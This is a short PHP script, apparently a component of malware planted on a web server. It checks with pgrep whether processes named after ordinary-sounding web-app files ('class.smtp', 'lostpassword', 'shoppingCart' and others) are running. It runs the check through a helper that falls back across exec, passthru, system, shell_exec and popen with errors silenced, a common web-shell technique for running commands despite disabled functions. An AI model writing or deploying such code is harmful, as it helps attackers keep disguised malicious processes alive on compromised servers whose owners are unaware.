<?php   $files = ['orders_status','default_image','publicPerm','managetabs','courseHomepage','workshop_pages','subscribe','udb_base.inc','portfolios','linkr_content','class.smtp','jpgraph_gradient','vote2.tpl','tbl_structure','simplecrypt','storyform.inc','lostpassword','toolbar.cache','AutoParagraph','blog_links','default_rating','phocagalleryi','theme_functions','adquestions_ed','shoppingCart','researchReports','admin_header','page_guardian','action.browsecat','itemslist']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }